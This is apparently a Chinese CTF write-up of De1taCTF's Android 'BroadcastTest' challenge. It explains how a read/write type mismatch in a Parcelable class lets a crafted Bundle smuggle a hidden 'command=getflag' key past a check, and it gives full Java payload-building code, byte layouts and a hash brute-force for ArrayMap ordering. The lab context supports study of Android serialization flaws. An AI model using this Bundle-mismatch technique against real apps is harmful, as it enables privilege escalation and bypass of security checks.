安卓pwn - De1taCTF(BroadcastTest)

BroadcastTest

背景

逆向APK可知程序中仅有MainActivity$Message和三个Receiver类。
前者实现了一个Parcelable类,后三个则是广播。
其中Receiver1是exported的,接收并向Receiver2发送广播,Receiver2和3则非exported,只能接收内部发送的广播。
功能为Receiver1接收base64传入的data,然后将其反序列化得到一个Bundle,再广播给Receiver2。
Receiver2检查Bundle中“command”存在且值非"getflag",然后再次发送广播给Receiver3。
Receiver3检查Bundle中"command"存在且值为"getflag",通过则回显正确。

简单搜索可以找到这篇文章,描述了Parcel中对于读出和写入时类型不一致会产生的漏洞。

原理

Android提供了独有的Parcelable接口来实现序列化的方法,只要实现这个接口,一个类的对象就可以实现序列化并可以通过Intent或Binder传输。
其中,关键的writeToParcel和readFromParcel方法,分别调用Parcel类中的一系列write方法和read方法实现序列化和反序列化。
可序列化的Parcelable对象一般不单独进行序列化传输,需要通过Bundle对象携带。 Bundle的内部实现实际是Hashmap,以Key-Value键值对的形式存储数据。例如, Android中进程间通信频繁使用的Intent对象中可携带一个Bundle对象,利用putExtra(key, value)方法,可以往Intent的Bundle对象中添加键值对(Key Value)。Key为String类型,而Value则可以为各种数据类型,包括int、Boolean、String和Parcelable对象等等,Parcel类中维护着这些类型信息。

// Keep in sync with frameworks/native/include/private/binder/ParcelValTypes.h.
    private static final int VAL_NULL = -1;
    private static final int VAL_STRING = 0;
    private static final int VAL_INTEGER = 1;
    private static final int VAL_MAP = 2;
    private static final int VAL_BUNDLE = 3;
    private static final int VAL_PARCELABLE = 4;
    private static final int VAL_SHORT = 5;
    private static final int VAL_LONG = 6;
    private static final int VAL_FLOAT = 7;

对Bundle进行序列化时,依次写入携带所有数据的长度、Bundle魔数(0x4C444E42)和键值对。见BaseBundle.writeToParcelInner方法

int lengthPos = parcel.dataPosition();
parcel.writeInt(-1); // dummy, will hold length
parcel.writeInt(BUNDLE_MAGIC);
int startPos = parcel.dataPosition();
parcel.writeArrayMapInternal(map);
int endPos = parcel.dataPosition();
// Backpatch length
parcel.setDataPosition(lengthPos);
int length = endPos - startPos;
parcel.writeInt(length);
parcel.setDataPosition(endPos);

pacel.writeArrayMapInternal方法写入键值对,先写入Hashmap的个数,然后依次写入键和值

/**
   * Flatten an ArrayMap into the parcel at the current dataPosition(),
   * growing dataCapacity() if needed.  The Map keys must be String objects.
   */
  /* package */ void writeArrayMapInternal(ArrayMap<String, Object> val) {
...
      final int N = val.size();
      writeInt(N);
     ... 
      int startPos;
      for (int i=0; i<N; i++) {
          if (DEBUG_ARRAY_MAP) startPos = dataPosition();
          writeString(val.keyAt(i));
          writeValue(val.valueAt(i));
...

接着,调用writeValue时依次写入Value类型和Value本身,如果是Parcelable对象,则调用writeParcelable方法,后者会调用Parcelable对象的writeToParcel方法。

public final void writeValue(Object v) {
        if (v == null) {
            writeInt(VAL_NULL);
        } else if (v instanceof String) {
            writeInt(VAL_STRING);
            writeString((String) v);
        } else if (v instanceof Integer) {
            writeInt(VAL_INTEGER);
            writeInt((Integer) v);
        } else if (v instanceof Map) {
            writeInt(VAL_MAP);
            writeMap((Map) v);
        } else if (v instanceof Bundle) {
            // Must be before Parcelable
            writeInt(VAL_BUNDLE);
            writeBundle((Bundle) v);
        } else if (v instanceof PersistableBundle) {
            writeInt(VAL_PERSISTABLEBUNDLE);
            writePersistableBundle((PersistableBundle) v);
        } else if (v instanceof Parcelable) {
            // IMPOTANT: cases for classes that implement Parcelable must
            // come before the Parcelable case, so that their specific VAL_*
            // types will be written.
            writeInt(VAL_PARCELABLE);
            writeParcelable((Parcelable) v, 0);

通过下述代码我们可以获得Bundle的序列化bytes,写入文件或直接输出hex都可直接查看。

Bundle bundle = new Bundle();
bundle.putParcelable(AccountManager.KEY_INTENT, new MainActivity$Message()));
byte[] bs = {'a', 'a','a', 'a'};
bundle.putByteArray("AAA", bs);
Parcel testData = Parcel.obtain();
bundle.writeToParcel(testData, 0);
byte[] raw = testData.marshall();

在这里插入图片描述

注意writeString方法是UTF16格式的,且最后会补0,补0以后的长度与4对齐。
以及Bundle中使用Arraymap,存储的顺序是根据key的hash值大小来决定。

题解

查看本题中Message类也是相同的,有两处不一致,分别是

this.txRate = in.readInt();
dest.writeByte((byte) this.txRate);

this.rttSpread = in.readLong();
dest.writeInt((int) this.rttSpread);

这会导致每次读写覆盖后4字节。注意Bundle内部序列化时是4字节对齐的,因此int和byte的类型不一致没有用。

本题的目的是在读写一次以后产生一个新的键值对"command=getflag",与文章中暴露恶意Intent的思路基本一致。

Bundle中的map存储顺序是Key长度, Key内容, Value类型, Value长度, Value内容

因此思考一下可以构造出如下payload:

Messagelen_keycontent_keytype_valuelen_valuecontent_value
pad15 00 00 0007 00 00 00 “command” 00 00 00 00 00 00 07 00 00 00 “getflag” 00 0000 00 00 0003 00 00 00“pad”
pad 15 00 00 0007 00 00 00“command” 00 0000 00 00 0007 00 00 00“getflag” 00 00

这里的String长度是2字节一个单位,UTF-16格式,因此fake_key的长度是(4+(7+1)*2+4+4+7*2)/2,注意4字节对齐因此command后要补0。最后的getflag因为writeString方法自己会为我们补0所以不用管。

type=0对应的是String。

即令原来的len_key被覆盖,content_key中的内容扩展成一个键值对暴露出来,使得Receiver3可见而Receiver2不可见。

完整构造代码如下:

        Parcel a = Parcel.obtain();
        Parcel b = Parcel.obtain();
        a.writeInt(3);//Count
        a.writeString("mismatch");
        a.writeInt(4);//Parcable
        a.writeString("com.de1ta.broadcasttest.MainActivity$Message");
        a.writeString("bssid");
        a.writeInt(1);
        a.writeInt(2);
        a.writeInt(3);
        a.writeInt(4);
        a.writeInt(5);
        a.writeInt(6);
        a.writeInt(7);
        a.writeLong(8);
        a.writeInt(9);
        a.writeInt(10);
        a.writeInt(-1);
        a.writeLong(11);
        a.writeLong(12);
        a.writeLong(0x11223344);
        // fake map
        // \7\0 => hide_len_key
        // command\0 => hide_content_key
        // \0\0 => hide_type_value
        // \7\0 => hide_len_value
        // getflag\0 => hide_content_value
        a.writeString("\7\0command\0\0\0\7\0getflag");
        a.writeInt(0);//fake_type
        a.writeString("");//fake_value
        a.writeString("command");//for bundle.getString("command")!=null
        a.writeInt(0);
        a.writeString("gotflag");
        int len = a.dataSize();
        b.writeInt(len);
        b.writeInt(0x4c444E42);
        b.appendFrom(a, 0, len);
        b.setDataPosition(0);

        byte[] raw = b.marshall();
        String output = Base64.encodeToString(raw, 0);
        Log.i("test", output);

后记

在比赛中我用的payload是

a.writeString("\7\0command\0\0\0\7\0getflag\0");
a.writeInt(0);//fake_type
a.writeString("1");//fake_value

但奇怪的是base64解码出来看到的是getflag后跟着3个0字符,即6个字节。
后来去查了一下才知道writeString会自动在最后补0,然后与4字节对齐,也就是说多产生了4个字节的0。
而如果把\0删去,补的0则最后位于第22个字符,即44字节处,正好对齐。
此时结构如下

Messagelen_keycontent_keytype_valuelen_valuecontent_valuelen_key2content_key2type_value2len_value2content_value2
pad15 00 00 0007 00 00 00 “command” 00 00 00 00 00 00 07 00 00 00 “getflag” 00 0000 00 00 0001 00 00 00“1”07 00 00 00“command”00 00 00 0000 00 00 00null
pad 15 00 00 0007 00 00 00“command” 00 0000 00 00 0007 00 00 00“getflag” 00 0000 00 00 0001 00 00 00“1”07 00 00 00“command”

可以看出来type_value2会导致解析错误,因此这里可以构造fake_value1==""

Messagelen_keycontent_keytype_valuelen_valuecontent_valuelen_key2content_key2type_value2len_value2content_value2
pad15 00 00 0007 00 00 00 “command” 00 00 00 00 00 00 07 00 00 00 “getflag” 00 0000 00 00 0000 00 00 0000 00 00 0007 00 00 00“command”00 00 00 0000 00 00 00null
pad 15 00 00 0007 00 00 00“command” 00 0000 00 00 0007 00 00 00“getflag” 00 0000 00 00 0000 00 00 0000 00 00 0007 00 00 00“command”

即payload2

a.writeString("\7\0command\0\0\0\7\0getflag");
a.writeInt(0);//fake_type
a.writeString("");//fake_value

为了验证字符串补0导致多了4字节0的猜想没错,又使用了payload3

a.writeString("\7\0command\0\0\0\7\0getflag\0\0");
a.writeInt(0);//fake_type
a.writeString("1");//fake_value

payload3产生的bundle应该与payload1产生的bundle除了String长度以外一模一样,查看Bundle也是如此,说明确实是补0导致了多对齐4字节。但是这个payload无法成功。
Receiver3处查看Bundle发现顺序变为'\7\0commandxxx'='1', Message, 'command'='gotflag',也就是说Message在最后一次read中虽然的确覆盖了4字节,但是由于顺序改变导致覆盖的是另外一个键值对。
另外logcat里产生了一个新的warning:

W/ArrayMap: New hash -1841832101 is before end of array hash -1212575282 at index 1 key ��command��������getflag����

这两个结合起来大概就能猜到了:
Bundle里使用的是ArrayMap结构,因此序列化的时候是按照key的hash大小来决定键值对先后的,当我们在fake_key增加2个0后使它的hash值变的过小,因此被提到了最前面,导致覆盖失败。
之前不需要注意这个只是因为运气好,正好key的hash正好符合我们最初的排序和期望,所以没有产生意外。

    public void append(K key, V value) {
        int index = mSize;
        final int hash = key == null ? 0
                : (mIdentityHashCode ? System.identityHashCode(key) : key.hashCode());
        if (index >= mHashes.length) {
            throw new IllegalStateException("Array is full");
        }
        if (index > 0 && mHashes[index-1] > hash) {
            RuntimeException e = new RuntimeException("here");
            e.fillInStackTrace();
            Log.w(TAG, "New hash " + hash
                    + " is before end of array hash " + mHashes[index-1]
                    + " at index " + index + " key " + key, e);
            put(key, value);
            return;
        }

源码中使用hashcode()方法来获取hash值,因此我们只要爆破找一个hash比fake_key=-1841832101小的Message的key就行了。

        String key = "mismatch";
        while(key.hashCode()>=-1841832101){
            key += ".";
        }
        a.writeString("mismatch"); // key of Message object

版权声明:本文为whklhhhh原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。